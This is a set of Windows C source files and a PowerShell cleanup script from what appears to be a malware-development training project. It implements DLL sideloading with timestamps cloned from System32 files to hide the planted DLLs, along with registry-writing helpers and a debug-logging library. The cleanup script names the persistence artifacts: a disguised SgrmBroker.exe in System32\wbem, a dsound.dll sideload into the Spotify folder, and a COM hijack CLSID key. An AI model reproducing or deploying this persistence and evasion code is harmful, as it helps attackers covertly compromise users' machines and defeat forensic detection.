if (!WriteFileToDiskW(wszSideloadDllPath, pDllFileBuffer, dwDllFileSize))
{
DBG("[!] Failed To Write Sideload DLL To: %ws", wszSideloadDllPath);
goto _DELETE_COPIED_DLL;
}
if (GetSystem32PathW(SIDELOAD_PAYLOAD_DLL, wszSystem32DllPath, MAX_PATH))
{
CloneFileTimestampsW(wszSystem32DllPath, wszOriginalDllDst);
CloneFileTimestampsW(wszSystem32DllPath, wszSideloadDllPath);
}
DBG("[+] Sideload DLL Written To: %ws", wszSideloadDllPath);
return TRUE;
_DELETE_COPIED_DLL:
if (!DeleteFileW(wszOriginalDllDst))
{
DBG_LAST_ERROR("DeleteFileW");
}
return FALSE;
}
#pragma endregion
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
#pragma region PAYLOAD_VERIFICATION
// Checks whether a DWORD registry value already exists and matches the expected value.
// If it does not exist, or exists with a different value, it is created/overwritten
BOOL VerifyOrCreateRegistryFlag(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN DWORD dwExpectedValue, OUT OPTIONAL BOOL* pbAlreadyExisted)
{
DWORD dwActualValue = 0x00;
BOOL bOverwrite = FALSE;
if (pbAlreadyExisted)
*pbAlreadyExisted = FALSE;
if (GetRegistryDwordW(hRoot, pwszPath, pwszName, &dwActualValue))
{
if (dwActualValue == dwExpectedValue)
{
if (pbAlreadyExisted)
*pbAlreadyExisted = TRUE;
return TRUE;
}
// Value exists but holds a mismatching value, so we need to overwrite
bOverwrite = TRUE;
}
else
{
DBG("[i] Registry Key Not Found, Creating ...");
}
if (!SetRegistryDwordW(hRoot, pwszPath, pwszName, dwExpectedValue, bOverwrite))
return FALSE;
return TRUE;
}
#pragma endregion
+450
View File
@@ -0,0 +1,450 @@
#include "Headers.h"
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
#pragma region STRING_MANIPLUATION
LPVOID ConvertString(IN LPVOID pvSrc, IN INT cbSrc, IN STRING_ENCODING Encoding)
{
INT cbNeeded = 0x00;
LPVOID pvDst = NULL;
UINT uCodePage = 0x00;
if (!pvSrc || cbSrc == 0) return NULL;
switch (Encoding)
{
case ENCODING_ANSI_TO_WIDE:
case ENCODING_UTF8_TO_WIDE:
{
uCodePage = (Encoding == ENCODING_UTF8_TO_WIDE) ? CP_UTF8 : CP_ACP;
if ((cbNeeded = MultiByteToWideChar(uCodePage, 0, (LPCSTR)pvSrc, cbSrc, NULL, 0)) <= 0)
{
DBG_LAST_ERROR("MultiByteToWideChar");
return NULL;
}
HEAP_ALLOC(pvDst, ((cbNeeded + 1) * sizeof(WCHAR)));
if (!pvDst) return NULL;
MultiByteToWideChar(uCodePage, 0, (LPCSTR)pvSrc, cbSrc, (LPWSTR)pvDst, cbNeeded);
break;
}
case ENCODING_WIDE_TO_ANSI:
case ENCODING_WIDE_TO_UTF8:
{
uCodePage = (Encoding == ENCODING_WIDE_TO_UTF8) ? CP_UTF8 : CP_ACP;
if ((cbNeeded = WideCharToMultiByte(uCodePage, 0, (LPCWSTR)pvSrc, cbSrc, NULL, 0, NULL, NULL)) <= 0)
{
DBG_LAST_ERROR("WideCharToMultiByte");
return NULL;
}
HEAP_ALLOC(pvDst, (cbNeeded + 1));
if (!pvDst) return NULL;
WideCharToMultiByte(uCodePage, 0, (LPCWSTR)pvSrc, cbSrc, (LPSTR)pvDst, cbNeeded, NULL, NULL);
break;
}
case ENCODING_ANSI_TO_UTF8:
{
LPWSTR pwszIntermediate = (LPWSTR)ConvertString(pvSrc, cbSrc, ENCODING_ANSI_TO_WIDE);
if (!pwszIntermediate) return NULL;
pvDst = ConvertString(pwszIntermediate, (SIZE_T)lstrlenW(pwszIntermediate), ENCODING_WIDE_TO_UTF8);
HEAP_FREE(pwszIntermediate);
break;
}
case ENCODING_UTF8_TO_ANSI:
{
LPWSTR pwszIntermediate = (LPWSTR)ConvertString(pvSrc, cbSrc, ENCODING_UTF8_TO_WIDE);
if (!pwszIntermediate) return NULL;
pvDst = ConvertString(pwszIntermediate, (SIZE_T)lstrlenW(pwszIntermediate), ENCODING_WIDE_TO_ANSI);
HEAP_FREE(pwszIntermediate);
break;
}
default:
return NULL;
}
return pvDst;
}
#pragma endregion
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
#pragma region FILE_IO
BOOL ReadFileFromDiskW(IN LPCWSTR szFileName, OUT PBYTE* ppFileBuffer, OUT PDWORD pdwFileSize)
{
HANDLE hFile = INVALID_HANDLE_VALUE;
DWORD dwFileSize = 0x00,
dwNumberOfBytesRead = 0x00;
PBYTE pBaseAddress = NULL;
if (!szFileName || !pdwFileSize || !ppFileBuffer)
return FALSE;
if ((hFile = CreateFileW(szFileName, GENERIC_READ, 0x00, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
{
DBG_LAST_ERROR("CreateFileW");
goto _END_OF_FUNC;
}
if ((dwFileSize = GetFileSize(hFile, NULL)) == INVALID_FILE_SIZE)
{
DBG_LAST_ERROR("GetFileSize");
goto _END_OF_FUNC;
}
HEAP_ALLOC(pBaseAddress, dwFileSize);
if (!pBaseAddress) goto _END_OF_FUNC;
if (!ReadFile(hFile, pBaseAddress, dwFileSize, &dwNumberOfBytesRead, NULL) || dwFileSize != dwNumberOfBytesRead)
{
DBG_LAST_ERROR("ReadFile");
DBG("[i] Read %d Of %d Bytes", dwNumberOfBytesRead, dwFileSize);
goto _END_OF_FUNC;
}
*ppFileBuffer = pBaseAddress;
*pdwFileSize = dwFileSize;
_END_OF_FUNC:
CLOSE_HANDLE(hFile);
if (!*ppFileBuffer) { HEAP_FREE(pBaseAddress); }
return (*ppFileBuffer && *pdwFileSize) ? TRUE : FALSE;
}
BOOL WriteFileToDiskW(IN LPCWSTR pszFileName, IN CONST BYTE* pbDataBuffer, IN DWORD dwDataLength)
{
HANDLE hFile = INVALID_HANDLE_VALUE;
DWORD dwNumerOfBytesWritten = 0x00;
BOOL bResult = FALSE;
if (!pszFileName || !pbDataBuffer || dwDataLength == 0x00)
return FALSE;
if ((hFile = CreateFileW(pszFileName, GENERIC_WRITE, 0x00, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE)
{
DBG_LAST_ERROR("CreateFileW");
goto _END_OF_FUNC;
}
if (!WriteFile(hFile, pbDataBuffer, dwDataLength, &dwNumerOfBytesWritten, NULL) || dwNumerOfBytesWritten != dwDataLength)
{
DBG_LAST_ERROR("WriteFile");
DBG("[i] Wrote %d Of %d Bytes", dwNumerOfBytesWritten, dwDataLength);
goto _END_OF_FUNC;
}
bResult = TRUE;
_END_OF_FUNC:
CLOSE_HANDLE(hFile);
return bResult;
}
BOOL CloneFileTimestampsW(IN LPCWSTR pwszSrcPath, IN LPCWSTR pwszDstPath)
{
HANDLE hSrcFile = INVALID_HANDLE_VALUE,
hDstFile = INVALID_HANDLE_VALUE;
FILETIME ftCreation = { 0 },
ftLastAccess = { 0 },
ftLastWrite = { 0 };
BOOL bResult = FALSE;
if (!pwszSrcPath || !pwszDstPath)
return FALSE;
if ((hSrcFile = CreateFileW(pwszSrcPath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL)) == INVALID_HANDLE_VALUE)
{
DBG_LAST_ERROR("CreateFileW");
return FALSE;
}
if (!GetFileTime(hSrcFile, &ftCreation, &ftLastAccess, &ftLastWrite))
{
DBG_LAST_ERROR("GetFileTime");
goto _END_OF_FUNC;
}
if ((hDstFile = CreateFileW(pwszDstPath, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL)) == INVALID_HANDLE_VALUE)
{
DBG_LAST_ERROR("CreateFileW");
goto _END_OF_FUNC;
}
if (!SetFileTime(hDstFile, &ftCreation, &ftLastAccess, &ftLastWrite))
{
DBG_LAST_ERROR("SetFileTime");
goto _END_OF_FUNC;
}
bResult = TRUE;
_END_OF_FUNC:
CLOSE_HANDLE(hSrcFile);
CLOSE_HANDLE(hDstFile);
return bResult;
}
#pragma endregion
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
#pragma region REG_IO
BOOL SetRegistryStringW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN LPCWSTR pwszValue, IN BOOL bOverwrite)
{
HKEY hKey = NULL;
DWORD dwDisposition = 0x00;
LSTATUS lStatus = ERROR_SUCCESS;
BOOL bResult = FALSE;
if ((lStatus = RegCreateKeyExW(hRoot, pwszPath, 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition)) != ERROR_SUCCESS)
{
DBG_HEX_ERROR("RegCreateKeyExW", lStatus);
return FALSE;
}
if (dwDisposition == REG_OPENED_EXISTING_KEY && !bOverwrite)
{
DBG("[i] Registry Key Already Exists, Skipping");
bResult = TRUE;
goto _END_OF_FUNC;
}
if ((lStatus = RegSetValueExW(hKey, pwszName, 0, REG_SZ, (LPBYTE)pwszValue, (DWORD)((lstrlenW(pwszValue) + 1) * sizeof(WCHAR)))) != ERROR_SUCCESS)
{
DBG_HEX_ERROR("RegSetValueExW", lStatus);
goto _END_OF_FUNC;
}
bResult = TRUE;
_END_OF_FUNC:
RegCloseKey(hKey);
return bResult;
}
BOOL SetRegistryDwordW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN DWORD dwValue, IN BOOL bOverwrite)
{
HKEY hKey = NULL;
DWORD dwDisposition = 0x00;
LSTATUS lStatus = ERROR_SUCCESS;
BOOL bResult = FALSE;
if ((lStatus = RegCreateKeyExW(hRoot, pwszPath, 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition)) != ERROR_SUCCESS)
{
DBG_HEX_ERROR("RegCreateKeyExW", lStatus);
return FALSE;
}
if (dwDisposition == REG_OPENED_EXISTING_KEY && !bOverwrite)
{
DBG("[i] Registry Key Already Exists, Skipping");
bResult = TRUE;
goto _END_OF_FUNC;
}
if ((lStatus = RegSetValueExW(hKey, pwszName, 0, REG_DWORD, (LPBYTE)&dwValue, sizeof(DWORD))) != ERROR_SUCCESS)
{
DBG_HEX_ERROR("RegSetValueExW", lStatus);
goto _END_OF_FUNC;
}
bResult = TRUE;
_END_OF_FUNC:
RegCloseKey(hKey);
return bResult;
}
BOOL GetRegistryDwordW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, OUT PDWORD pdwOutput)
{
HKEY hKey = NULL;
DWORD dwType = REG_DWORD,
dwDataLength = sizeof(DWORD);
LSTATUS lStatus = ERROR_SUCCESS;
BOOL bResult = FALSE;
if ((lStatus = RegOpenKeyExW(hRoot, pwszPath, 0, KEY_READ, &hKey)) != ERROR_SUCCESS)
{
DBG_HEX_ERROR("RegOpenKeyExW", lStatus);
return FALSE;
}
if ((lStatus = RegQueryValueExW(hKey, pwszName, NULL, &dwType, (LPBYTE)pdwOutput, &dwDataLength)) != ERROR_SUCCESS)
{
DBG_HEX_ERROR("RegQueryValueExW", lStatus);
goto _END_OF_FUNC;
}
bResult = TRUE;
_END_OF_FUNC:
RegCloseKey(hKey);
return bResult;
}
BOOL DeleteRegistryKeyW(IN HKEY hRoot, IN LPCWSTR pwszPath)
{
LSTATUS lStatus = ERROR_SUCCESS;
if ((lStatus = RegDeleteTreeW(hRoot, pwszPath)) != ERROR_SUCCESS)
{
DBG_HEX_ERROR("RegDeleteTreeW", lStatus);
return FALSE;
}
return TRUE;
}
#pragma endregion
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
#pragma region FILE_SYSTEM
// Builds the full path to a file in the System32 directory.
BOOL GetSystem32PathW(IN LPCWSTR pwszFileName, OUT LPWSTR pwszOutPath, IN DWORD dwOutSize)
{
WCHAR wszSystem32Path[MAX_PATH] = { 0 };
if (!pwszFileName || !pwszOutPath || !dwOutSize)
return FALSE;
if (!GetSystemDirectoryW(wszSystem32Path, ARRAYSIZE(wszSystem32Path)))
{
DBG_LAST_ERROR("GetSystemDirectoryW");
return FALSE;
}
if (wsprintfW(pwszOutPath, L"%s\\%s", wszSystem32Path, pwszFileName) < 0)
{
DBG_LAST_ERROR("wsprintfW");
return FALSE;
}
return TRUE;
}
// Extracts the directory component from a full file path, or uses the path as-is
// if it is already a directory (when bIsFilePath is false), and creates the directory if it doesn't exist
BOOL EnsureDirectoryExistsW(IN LPCWSTR pwszPath, IN BOOL bIsFilePath)
{
WCHAR wszDirPath[MAX_PATH] = { 0 };
HRESULT hResult = S_OK;
if (!pwszPath) return FALSE;
if (FAILED((hResult = StringCchCopyW(wszDirPath, ARRAYSIZE(wszDirPath), pwszPath))))
{
DBG_HEX_ERROR("StringCchCopyW", hResult);
return FALSE;
}
if (bIsFilePath) PathRemoveFileSpecW(wszDirPath);
if (!CreateDirectoryW(wszDirPath, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
{
DBG_LAST_ERROR("CreateDirectoryW");
return FALSE;
}
return TRUE;
}
/*
* Copies a file to a destination directory, while creating the directory if it doesn't exist.
* It calls both EnsureDirectoryExistsW and GetSystem32PathW depending on the parameters:
*
* pwszDestPath [IN] - Destination directory path. Supports environment variables, this is created if doesnt exist.
* pwszDestName [IN/OPTIONAL] - Destination file name. If NULL, the source file name is used.
* pwszSrcPath [IN/OPTIONAL] - Source directory path. If NULL, System32 is used as the source directory.
* pwszSrcName [IN] - Source file name.
* pwszOutFullPath [OUT/OPTIONAL] - Output parameter that receives the full destination path of the copied file. If NULL, ignored.
* dwOutFullPathSize [IN/OPTIONAL] - Output parameter that receives the size of the outputted pwszOutFullPath buffer in characters.
*/
BOOL CopyFileToDirW(IN LPCWSTR pwszDestPath, IN OPTIONAL LPCWSTR pwszDestName, IN OPTIONAL LPCWSTR pwszSrcPath, IN LPCWSTR pwszSrcName, OUT OPTIONAL LPWSTR pwszOutFullPath, IN OPTIONAL DWORD dwOutFullPathSize)
{
WCHAR wszExpandedDestPath[MAX_PATH] = { 0 };
WCHAR wszFullSrcPath[MAX_PATH] = { 0 };
WCHAR wszFullDestPath[MAX_PATH] = { 0 };
HRESULT hResult = S_OK;
LPCWSTR pwszFinalDestName = NULL;
if (!pwszDestPath || !pwszSrcName) return FALSE;
if (pwszOutFullPath && !dwOutFullPathSize) return FALSE;
// Expand environment variables in the destination path if any
if (!ExpandEnvironmentStringsW(pwszDestPath, wszExpandedDestPath, ARRAYSIZE(wszExpandedDestPath)))
{
DBG_LAST_ERROR("ExpandEnvironmentStringsW");
return FALSE;
}
// Create the destination directory if it doesn't exist
if (!EnsureDirectoryExistsW(wszExpandedDestPath, FALSE))
return FALSE;
// If no source path provided, copy from System32
if (pwszSrcPath == NULL)
{
if (!GetSystem32PathW(pwszSrcName, wszFullSrcPath, ARRAYSIZE(wszFullSrcPath)))
return FALSE;
}
else
{
if (wsprintfW(wszFullSrcPath, L"%s\\%s", pwszSrcPath, pwszSrcName) < 0)
{
DBG_LAST_ERROR("wsprintfW");
return FALSE;
}
}
// If no destination name provided, use the source name
pwszFinalDestName = (pwszDestName != NULL) ? pwszDestName : pwszSrcName;
// Build the full destination path
if (wsprintfW(wszFullDestPath, L"%s\\%s", wszExpandedDestPath, pwszFinalDestName) < 0)
{
DBG_LAST_ERROR("wsprintfW");
return FALSE;
}
// Copy the file, fail if destination already exists
if (!CopyFileW(wszFullSrcPath, wszFullDestPath, TRUE))
{
DBG_LAST_ERROR("CopyFileW");
return FALSE;
}
// If the caller provided an output buffer, fill it with the full destination path
if (pwszOutFullPath != NULL)
{
if (FAILED((hResult = StringCchCopyW(pwszOutFullPath, dwOutFullPathSize, wszFullDestPath))))
{
DBG_HEX_ERROR("StringCchCopyW", hResult);
return FALSE;
}
}
return TRUE;
}
#pragma endregion
+262
View File
@@ -0,0 +1,262 @@
#include "DebugMacros.h"
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
// FLS
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
static DWORD g_dwFlsIdx = FLS_OUT_OF_INDEXES;
static VOID WINAPI DbgFlsDestructor(IN PVOID pBuffer)
{
if (pBuffer)
{
LocalFree((HLOCAL)pBuffer);
}
}
static LPSTR DbgGetBuffer(VOID)
{
DWORD dwCandidateSlot = 0x00,
dwFlsSlot = 0x00;
LPSTR pThreadBuffer = NULL;
if ((DWORD)InterlockedOr((LONG volatile*)&g_dwFlsIdx, 0) == FLS_OUT_OF_INDEXES)
{
// Allocate one FLS slot process-wide
if ((dwCandidateSlot = FlsAlloc(DbgFlsDestructor)) == FLS_OUT_OF_INDEXES)
return NULL;
// Loser of the race discards its slot
if ((DWORD)InterlockedCompareExchange((LONG volatile*)&g_dwFlsIdx, (LONG)dwCandidateSlot, (LONG)FLS_OUT_OF_INDEXES) != FLS_OUT_OF_INDEXES)
FlsFree(dwCandidateSlot);
}
dwFlsSlot = (DWORD)InterlockedOr((LONG volatile*)&g_dwFlsIdx, 0);
pThreadBuffer = (LPSTR)FlsGetValue(dwFlsSlot);
// First call on this thread
if (pThreadBuffer == NULL)
{
// Allocate the thread's private buffer
if ((pThreadBuffer = (LPSTR)LocalAlloc(LPTR, BUFFER_SIZE_2048)) == NULL)
return NULL;
FlsSetValue(dwFlsSlot, pThreadBuffer);
}
return pThreadBuffer;
}
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
// FILE SINK
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
#ifdef _DBG_USE_FILE
static CHAR g_szLogFilename[MAX_PATH] = { 0 };
static SRWLOCK g_srwFileLock = SRWLOCK_INIT;
static LONG g_lFilenameReady = 0x00;
static LONG g_lFileCreated = 0x00;
static HANDLE g_hLogFile = NULL;
// Derives "<exename>.log" from the running image path, runs once
static VOID DbgEnsureLogFilename(VOID)
{
CHAR szExePath[MAX_PATH] = { 0 };
LPSTR pszExeName = NULL,
pszExtension = NULL;
if (InterlockedCompareExchange(&g_lFilenameReady, 1, 0) == 0)
{
GetModuleFileNameA(NULL, szExePath, MAX_PATH);
pszExeName = PathFindFileNameA(szExePath);
pszExtension = PathFindExtensionA(pszExeName);
// Strip the .exe extension before appending .log
if (pszExtension) *pszExtension = '\0';
wsprintfA(g_szLogFilename, "%s.log", pszExeName);
}
}
static VOID DbgSinkFile(LPCSTR pszBuffer)
{
DWORD dwAccess = 0x00,
dwCreationDisp = 0x00,
dwBytesWritten = 0x00;
AcquireSRWLockExclusive(&g_srwFileLock);
// Open the file handle on first write
if (g_hLogFile == NULL)
{
DbgEnsureLogFilename();
// First open ever: truncates
if (InterlockedCompareExchange(&g_lFileCreated, 1, 0) == 0)
{
dwAccess = GENERIC_WRITE;
dwCreationDisp = CREATE_ALWAYS;
}
// Subsequent opens: append
else
{
dwAccess = FILE_APPEND_DATA;
dwCreationDisp = OPEN_ALWAYS;
}
if ((g_hLogFile = CreateFileA(g_szLogFilename, dwAccess, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, dwCreationDisp, 0, NULL)) == INVALID_HANDLE_VALUE)
g_hLogFile = NULL;
}
if (g_hLogFile)
WriteFile(g_hLogFile, pszBuffer, (DWORD)lstrlenA(pszBuffer), &dwBytesWritten, NULL);
ReleaseSRWLockExclusive(&g_srwFileLock);
}
static VOID DbgCloseFile(VOID)
{
AcquireSRWLockExclusive(&g_srwFileLock);
if (g_hLogFile)
{
CloseHandle(g_hLogFile);
g_hLogFile = NULL;
}
ReleaseSRWLockExclusive(&g_srwFileLock);
}
#endif // _DBG_USE_FILE
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
// CONSOLE SINK
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
#ifdef _DBG_USE_CONSOLE
static HANDLE g_hConsole = INVALID_HANDLE_VALUE;
static LONG g_lConReady = 0x00;
static LONG g_lConAllocated = 0x00;
static VOID DbgEnsureConsole(VOID)
{
HANDLE hConsole = NULL;
if (InterlockedCompareExchange(&g_lConReady, 1, 0) == 0)
{
hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
// No existing console
if (hConsole == INVALID_HANDLE_VALUE || hConsole == NULL)
{
// Allocate one
if (AllocConsole())
{
InterlockedExchange(&g_lConAllocated, 1);
hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
}
}
InterlockedExchangePointer((PVOID volatile*)&g_hConsole, (hConsole && hConsole != INVALID_HANDLE_VALUE) ? hConsole : (PVOID)INVALID_HANDLE_VALUE);
}
}
static VOID DbgSinkConsole(LPCSTR pszBuffer)
{
HANDLE hConsole = NULL;
DWORD dwBytesWritten = 0x00;
DbgEnsureConsole();
// Snapshot the handle in case DbgClose races with us
hConsole = (HANDLE)InterlockedCompareExchangePointer((PVOID volatile*)&g_hConsole, NULL, NULL);
if (hConsole != INVALID_HANDLE_VALUE && hConsole != NULL)
WriteFile(hConsole, pszBuffer, (DWORD)lstrlenA(pszBuffer), &dwBytesWritten, NULL);
}
static VOID DbgCloseConsole(VOID)
{
// Invalidate the handle before freeing so no thread writes to it after
InterlockedExchangePointer((PVOID volatile*)&g_hConsole, (PVOID)INVALID_HANDLE_VALUE);
if (InterlockedExchange(&g_lConAllocated, 0) == 1)
FreeConsole();
InterlockedExchange(&g_lConReady, 0);
}
#endif // _DBG_USE_CONSOLE
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
// PUBLIC FUNCTIONS
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
VOID DbgWrite(LPCSTR pszFile, INT nLine, LPCSTR pszFmt, ...)
{
DWORD dwSavedError = 0x00;
INT cchWritten = 0x00;
LPSTR pszBuffer = NULL;
va_list pszVaArgs = NULL;
// Capture the caller's last error before running our logic
dwSavedError = GetLastError();
if ((pszBuffer = DbgGetBuffer()) == NULL)
goto _END_OF_FUNC;
va_start(pszVaArgs, pszFmt);
cchWritten = wvsprintfA(pszBuffer, pszFmt, pszVaArgs);
va_end(pszVaArgs);
if (cchWritten < 0)
goto _END_OF_FUNC;
// Append file and line tag if there's room
if (cchWritten < BUFFER_SIZE_2048 - 1)
wsprintfA(pszBuffer + cchWritten, " [%s:%d]\n", pszFile, nLine);
else
{
// Message was too long. Add '...\n\0'
pszBuffer[BUFFER_SIZE_2048 - 5] = '.';
pszBuffer[BUFFER_SIZE_2048 - 4] = '.';
pszBuffer[BUFFER_SIZE_2048 - 3] = '.';
pszBuffer[BUFFER_SIZE_2048 - 2] = '\n';
pszBuffer[BUFFER_SIZE_2048 - 1] = '\0';
}
#ifdef _DBG_USE_DEBUGSTR
OutputDebugStringA(pszBuffer);
#endif
#ifdef _DBG_USE_FILE
DbgSinkFile(pszBuffer);
#endif
#ifdef _DBG_USE_CONSOLE
DbgSinkConsole(pszBuffer);
#endif
_END_OF_FUNC:
// Restore caller's last error
SetLastError(dwSavedError);
}
VOID DbgClose(VOID)
{
DWORD dwFlsSlot = FLS_OUT_OF_INDEXES;
// Swap the slot index to FLS_OUT_OF_INDEXES
if ((dwFlsSlot = (DWORD)InterlockedExchange((LONG volatile*)&g_dwFlsIdx, (LONG)FLS_OUT_OF_INDEXES)) != FLS_OUT_OF_INDEXES)
FlsFree(dwFlsSlot);
#ifdef _DBG_USE_FILE
DbgCloseFile();
#endif
#ifdef _DBG_USE_CONSOLE
DbgCloseConsole();
#endif
}
@@ -0,0 +1,94 @@
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
// Define Any Combination At The *Project Level* (compiler flags / project settings) Before Building:
//
// _DBG_USE_DEBUGSTR -> DbgView
// _DBG_USE_FILE -> File
// _DBG_USE_CONSOLE -> Console (Default)
//
// *In Release Mode*, None Of These Will Work Unless This Is Also Defined At The Project Level:
//
// _DBG_FORCE
//
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
#pragma once
#ifndef DEBUG_MACROS_H
#define DEBUG_MACROS_H
#include <Windows.h>
#include <Strsafe.h>
#include <Shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
// HELPERS
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
#ifndef BUFFER_SIZE_2048
#define BUFFER_SIZE_2048 2048
#endif
#ifndef GET_FILENAMEA
#define GET_FILENAMEA(PATHA) PathFindFileNameA(PATHA)
#endif
#ifndef GET_FILENAMEW
#define GET_FILENAMEW(PATHW) PathFindFileNameW(PATHW)
#endif
#if !defined(_DBG_USE_DEBUGSTR) && !defined(_DBG_USE_FILE) && !defined(_DBG_USE_CONSOLE)
#define _DBG_USE_CONSOLE
#endif
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
// INTERNAL FUNCTION DECLARATIONS
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
#ifdef __cplusplus
extern "C" {
#endif
VOID DbgWrite(LPCSTR pszFile, INT nLine, LPCSTR pszFmt, ...);
VOID DbgClose(VOID);
#ifdef __cplusplus
}
#endif
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
// DBG & DBG_CLOSE
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
#define DBG_CLOSE() DbgClose()
#if defined(_DEBUG) || defined(_DBG_FORCE)
#define DBG(fmt, ...) DbgWrite(GET_FILENAMEA(__FILE__), __LINE__, fmt, ##__VA_ARGS__)
#else
#define DBG(fmt, ...) ((void)0)
#endif
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
// DBG_LAST_ERROR & DBG_HEX_ERROR
// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==
#if defined(_DEBUG) || defined(_DBG_FORCE)
#define DBG_LAST_ERROR(APINAME) \
do { \
DWORD _dwLastErr = GetLastError(); \
DBG("[!] %s Failed With Error: %lu", APINAME, _dwLastErr); \
SetLastError(_dwLastErr); \
} while (0)
#define DBG_HEX_ERROR(APINAME, HEXCODE) DBG("[!] %s Failed With Error: 0x%0.8X", APINAME, HEXCODE)
#else
#define DBG_LAST_ERROR(APINAME) ((void)0)
#define DBG_HEX_ERROR(APINAME, ERROR) ((void)0)
#endif
// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
#endif // !DEBUG_MACROS_H
+126
View File
@@ -0,0 +1,126 @@
# ==================================================================================================
# CLEANUP SCRIPT
# ==================================================================================================
$objectPrefix = "MaldevAcademy"
$wmiExeDir = "C:\Windows\System32\wbem"
$wmiExeName = "SgrmBroker.exe"
$wmiExePath = "$wmiExeDir\$wmiExeName"
$comDllDir = "$env:APPDATA\Microsoft\Common"
$spotifyDir = "$env:APPDATA\Spotify"
$sideloadDll = "dsound.dll"
$forwardDll = "dspatial.dll"
$comClsidKey = "HKCU:\Software\Classes\CLSID\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}"
$configKey = "HKCU:\Software\$objectPrefix\XXXX"
# ==================================================================================================
